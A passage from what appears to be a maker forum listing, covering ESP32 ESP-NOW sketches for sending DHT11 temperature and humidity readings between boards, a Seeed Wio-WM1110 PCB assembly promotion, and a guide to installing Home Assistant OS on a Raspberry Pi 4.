} void loop() { // Wait a few seconds between measurements. delay(2000); // Reading temperature or humidity takes about 250 milliseconds! // Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor) float h = dht.readHumidity(); // Read temperature as Celsius (the default) float t = dht.readTemperature(); // Read temperature as Fahrenheit (isFahrenheit = true) float f = dht.readTemperature(true); // Check if any reads failed and exit early (to try again). if (isnan(h) || isnan(t) || isnan(f)) { Serial.println(F("Failed to read from DHT sensor!")); return; } // Compute heat index in Fahrenheit (the default) float hif = dht.computeHeatIndex(f, h); // Compute heat index in Celsius (isFahreheit = false) float hic = dht.computeHeatIndex(t, h, false); Serial.print(F("Humidity: ")); Serial.print(h); Serial.print(F("% Temperature: ")); Serial.print(t); Serial.print(F("°C ")); Serial.print(f); Serial.print(F("°F Heat index: ")); Serial.print(hic); Serial.print(F("°C ")); Serial.print(hif); Serial.println(F("°F")); } Step3: Transmitter setup Just keep the same DHT11 sensor connection and upload this code to the ESP32 board. #include <esp_now.h> #include <WiFi.h> #include <Adafruit_Sensor.h> #include <DHT.h> #include <DHT_U.h> #define DHTPIN 12 #define DHTTYPE DHT11 DHT_Unified dht(DHTPIN, DHTTYPE); uint8_t broadcastAddress1[] = {0x0C,0xB8,0x15,0xF3,0xE9,0x7C};//Receiver Board MAC Address 0C:B8:15:F3:E9:7C typedef struct temp_struct { float x; float y; } temp_struct; temp_struct test; void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { char macStr[18]; Serial.print("Packet to: "); // Copies the sender mac address to a string snprintf(macStr, sizeof(macStr), "%02x:%02x:%02x:%02x:%02x:%02x", mac_addr[0], mac_addr[1], mac_addr[2], mac_addr[3], mac_addr[4], mac_addr[5]); Serial.print(macStr); Serial.print(" send status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); } void setup() { Serial.begin(115200); dht.begin(); WiFi.mode(WIFI_STA); sensor_t sensor; dht.temperature().getSensor(&sensor); dht.humidity().getSensor(&sensor); if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } esp_now_register_send_cb(OnDataSent); esp_now_peer_info_t peerInfo; peerInfo.channel = 0; peerInfo.encrypt = false; memcpy(peerInfo.peer_addr, broadcastAddress1, 6); if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } } void loop() { sensors_event_t event; dht.temperature().getEvent(&event); test.x = event.temperature; Serial.print(F("Temperature: ")); Serial.print(event.temperature); Serial.println(F("°C")); dht.humidity().getEvent(&event); test.y = event.relative_humidity; Serial.print(F("Humidity: ")); Serial.print(event.relative_humidity); Serial.println(F("%")); esp_err_t result = esp_now_send(0, (uint8_t *) &test, sizeof(temp_struct)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } delay(2000); } Here is the serial monitor results. Step4: Receiver setup Next we need to set up our receiver to get the DHT11 data from the transmitter via ESPNOW. Upload the following code and wait for the serial monitor results. #include <WiFi.h> #include <esp_now.h> // Define data structure typedef struct struct_message { float a; float b; } struct_message; // Create structured data object struct_message myData; // Callback function void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { // Get incoming data memcpy(&myData, incomingData, sizeof(myData)); // Print to Serial Monitor Serial.print("Temp: "); Serial.println(myData.a); Serial.print("Humidity: "); Serial.println(myData.b); } void setup() { // Set up Serial Monitor Serial.begin(115200); // Start ESP32 in Station mode WiFi.mode(WIFI_STA); // Initalize ESP-NOW if (esp_now_init() != 0) { Serial.println("Error initializing ESP-NOW"); return; } // Register callback function esp_now_register_recv_cb(OnDataRecv); } void loop() {} Here is the serial monitor results. Wrap-Up: Finally, now we can transfer our DHT11 data in between two ESP32 boards without any internet. In upcoming tutorials will see some real-time use cases with ESPNOW.
  6. What’up, community! Join us in this exciting journey of pushing the boundaries of technology and discovering new possibilities with Wio-WM1110 projects now! Discover more about Wio-WM1110 Module and Seeed Fusion PCBA Service The appealing new product, Seeed Studio Wio-WM1110, is the ultimate wireless module for developing low-power consumption, long-range IoT applications. Embedded with Semtech LR1110 and Nordic nRF52840, this module features Semtech’s LoRa technology for long-range wireless communication, GNSS tracking, Wi-Fi, and Bluetooth services while reducing complexity and cost. Additionally, don’t miss the magnificent function for asset tracking, inventory management, asset loss, and theft prevention. It is perfect for smart agriculture, wireless meter reading, and smart city applications. Wio-WM1110 module has been applied to SenseCAP S2120 8-in-1 LoRaWAN Weather Sensor and is widely used in smart agriculture, urban weather, etc. By capturing critical metrics such as air temperature, humidity, wind speed and direction, rainfall intensity, light intensity, UV index, and barometric pressure data and transmitting them via LoRaWAN®, the weather sensor enables you to access hyper-local weather information with ease. We are ready to illuminate and spread your ideas coupled with projects anytime! As an advocate for technology innovation and creativity, Seeed is thrilled to extend its support to the hardware community worldwide through the sponsorship of Wio-WM1110 projects. With Seeed Fusion PCB Assembly Service, everyone can explore their ideas and bring them to fruition without the hassle of sourcing and assembling components. If you have an interesting concept for Wio-WM1110 and are willing to share it with the community, share it with us and we can help you make it a reality with Seeed Fusion’s one-stop agile manufacturing capabilities. Get 2 boards fabricated and assembled completely free with Seeed Fusion’s turnkey PCB Assembly service. Meanwhile, if you have mass production requirements, we highly recommend taking advantage of the Seeed Fusion PCB Assembly service and getting the Wio-WM1110 modules. Find out more discounts below! Wio-WM1110 has been added to Seeed Open Parts Library, available for just USD$14.9! What does that mean? Like all PCBA OPL components, these parts are available for use with the Seeed Fusion PCB Assembly service at a lower price, but more importantly, these parts are stocked locally, so if all parts are sourced from the OPLs, then super fast PCB assembly can be realized from as little as 7 working days. Based on one part per PCBA. Until further notice. Can’t wait to apply? Then keep reading to discover more exciting details. One Step Closer to Wio-WM1110: Please fill out the form: click here to submit your bravo project ideas. Each person is limited to two PCBA boards 100% completely FREE for one design, including PCB fabrication, the cost of parts, assembly and shipping. The design must include Wio-WM1110. When preparing the BOM file, just add the Seeed SKU 114992865 or the part number Wio-WM1110 to your BOM file. Add the order to the cart then contact our customer support ([email protected]) to obtain the corresponding cash coupon for settlement. By participating in this event, you agree to review your experience with us and allow us to share it and the design with the community on our social media platforms (Facebook, Twitter, blog, etc.). The design does not need to be open-sourced and production files will not be shared with the public (unless you want to). We hope your experience will go on to inspire more users to embrace IoT, LoRaWAN® and its capabilities. Scale up your Wio-WM1110 Creation with Seeed Studio Co-Create Program! We will invite well-received Wio-WM1110 projects to the Seeed Studio Co-Create Program, where your products can be listed, sold and shipped directly by Seeed on the Seeed Studio Bazaar. We will also support designers to reach thousands of like-minded customers and distributors with Seeed’s global sales channels and social media presence. Don’t hesitate! It’s a great chance to show off your ideas and skills. Join forces with the Wio-WM1110 and fuel your passion for IoT
  7. ESP-NOW is a wireless communication protocol based on the data-link layer that enables the direct, quick, and low-power control of smart devices without the need for a router. Espressif defines it and can work with Wi-Fi and Bluetooth LE. ESP-NOW provides flexible and low-power data transmission to all interconnected devices. It can also be used as an independent protocol that helps with device provisioning, debugging, and firmware upgrades. ESP-NOW is a connectionless communication protocol developed by Espressif that features short packet transmission. This protocol enables multiple devices to talk to each other in an easy way. It is a fast communication protocol that can be used to exchange small messages (up to 250 bytes) between ESP32 or ESP8266 boards. ESP-NOW supports the following features: Encrypted and unencrypted unicast communication; Mixed encrypted and unencrypted peer devices; Up to 250-byte payload can be carried; Sending callback function that can be set to inform the application layer of transmission success or failure. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. How is it different from existing protocols? ESP-NOW is a wireless communication protocol that is different from Wi-Fi and Bluetooth in that it reduces the five layers of the OSI model to only one1. Additionally, ESP-NOW occupies fewer CPU and flash resources than traditional connection protocols while co-exists with Wi-Fi and Bluetooth LE. Bluetooth is used to connect short-range devices for sharing information, while Wi-Fi is used for providing high-speed internet access2. Wi-Fi provides high bandwidth because the speed of the internet is an important issue. Max Distance: The range of ESP-NOW is up to 480 meters when using the ESP-NOW protocol for bridging between multiple ESP32s1. The range can be further increased by enabling long-range ESP-NOW. When enabled, the PHY rate of ESP32 will be 512Kbps or 256Kbps. Maximum nodes: ESP-NOW supports various series of Espressif chips, providing a flexible data transmission that is suitable for connecting “one-to-many” and “many-to-many” devices. Applications: ESP-NOW is widely used in smart-home appliances, remote controlling, sensors, etc. In this tutorial, will see how to implement a basic ESP NOW communication between ESP32 Microcontrollers. Step: 1 ESPNOW communication works based on the MAC address of the nodes. So, we need to find the Mac address of our slave or receiver node. ]For that just upload the following sketch to the ESP32 board and look for the Mac address in the serial monitor. #include "WiFi.h" void setup(){ Serial.begin(115200); WiFi.mode(WIFI_MODE_STA); Serial.println(WiFi.macAddress()); } void loop(){ } Once you uploaded the code, press the EN button and wait for the serial monitor results. It will show you the Mac address. Note that. Step-2: Next, we need to prepare the transmitter, for that use this example sketch which can send multiple data types of data to the particular slave node. #include <esp_now.h> #include <WiFi.h> // REPLACE WITH YOUR RECEIVER MAC Address uint8_t broadcastAddress[] = {0x94, 0xB5, 0x55, 0x26, 0x27, 0x34}; // Must match the receiver structure typedef struct struct_message { char a[32]; int b; float c; bool d; } struct_message; // Create a struct_message called myData struct_message myData; esp_now_peer_info_t peerInfo; // callback when data is sent void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { Serial.print("\r\nLast Packet Send Status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); } void setup() { // Init Serial Monitor Serial.begin(115200); // Set device as a Wi-Fi Station WiFi.mode(WIFI_STA); // Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } // Once ESPNow is successfully Init, we will register for Send CB to // get the status of Trasnmitted packet esp_now_register_send_cb(OnDataSent); // Register peer memcpy(peerInfo.peer_addr, broadcastAddress, 6); peerInfo.channel = 0; peerInfo.encrypt = false; // Add peer if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } } void loop() { // Set values to send strcpy(myData.a, "I'm alive"); myData.b = random(1,20); myData.c = 1.2; myData.d = false; // Send message via ESP-NOW esp_err_t result = esp_now_send(broadcastAddress, (uint8_t *) &myData, sizeof(myData)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } delay(2000); } Here are the serial monitor results, it show sent success but not delivered. Because we don't have the receiver. Let's try to implement the receiver. Step-3: Step-3:d example sketch which can receive the data from the master and it will print that into the serial monitor. #include <esp_now.h> #include <WiFi.h> // Structure example to receive data typedef struct struct_message { char a[32]; int b; float c; bool d; } struct_message; // Create a struct_message called myData struct_message myData; // callback function that will be executed when data is received void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { memcpy(&myData, incomingData, sizeof(myData)); Serial.print("Bytes received: "); Serial.println(len); Serial.print("Char: "); Serial.println(myData.a); Serial.print("Int: "); Serial.println(myData.b); Serial.print("Float: "); Serial.println(myData.c); Serial.print("Bool: "); Serial.println(myData.d); Serial.println(); } void setup() { // Initialize Serial Monitor Serial.begin(115200); // Set device as a Wi-Fi Station WiFi.mode(WIFI_STA); // Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } // get recv packer info esp_now_register_recv_cb(OnDataRecv); } void loop() { } Serial monitor results. Wrap Up: We have seen how to implement the ESP NOW in ESP32 microcontroller, in upcoming tutorials will see how to transmit sensor data via ESPNOW.
  8. Will guide you to install Home Assistance on Raspberry Pi 4. Things used in this project Hardware components Raspberry Pi 4 Model B × 1 Story To use most smart home devices, you need to download an app, create an account, and link them to an online cloud server. This makes them easy to control, but it also means that your usage data, such as when, where, or how you operate your devices, is stored online and may not be private. If you care about privacy, you can try Home Assistant, a software that lets you manage your smart IoT devices and automate your smart home locally —without any cloud connection or integration. Home Assistant: Home Assistant is a free, open-source, and lightweight home automation software that runs on top of Home Assistant Operating System. Home Assistant OS can be installed and configured on Raspberry Pi 4, which is a low-power and compact device for running Home Assistant. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Step 1: Flash Home Assistant OS Download the Home Assistant OS image for your Raspberry Pi 4 64-bit using this hyperlink. https://github.com/home-assistant/operating-system/releases/download/7.3/haos_rpi4-7.3.img.xz Then download, install, and open the Raspberry Pi Imager tool to flash the Home Assistant OS image to an SD card. In the Imager tool first select the downloaded OS image. Click Storage and choose the connected Micro SD card. Click Write and wait for the process to complete. This may take a while. After the Home Assistant OS image is flashed successfully, eject the Micro SD card, and connect it to the Raspberry Pi’s card slot. Step 2: Boot Raspberry Pi To boot Home Assistant, connect the LAN cable to the Ethernet port on Raspberry Pi. Connect the power supply to turn on the Raspberry Pi. Wait for a few minutes as it boots and updates. This can take up to 10-20 minutes. Step 3: Setup Home Assistant To set up and configure Home Assistant, open the web browser, and go to http://homeassistant.local:8123. If that standard URL is down open your router admin page and find the IP address of the raspberry pi. Then type the IP address of your Raspberry Pi in the web browser, such as http://xx.xx.xx.xx:8123. Alternatively, you can use the android application for home assistance. After installing all the updates, the Home Assistant will display the following screen to create an account. Enter your name, username, and password to create your account. Ensure the password you enter is strong. Then click Create Account. Then choose your location using the Detect button, select Unit System, Currency, and click Next. If there are smart devices in your home connected to your network, Home Assistant will automatically display them for integration. You can select them and set them up or do it later. Click Finish. At this stage, the Home Assistant installation and setup is complete. Wrap-Up: Once you have Home Assistant ready, you can create rooms and add your smart home devices to the Home Assistant dashboard. You can also automate your home based on events or activities. Home Assistant offers various add-ons and integrations that you can install to enhance its features and support more smart home devices.
×
  • Create New...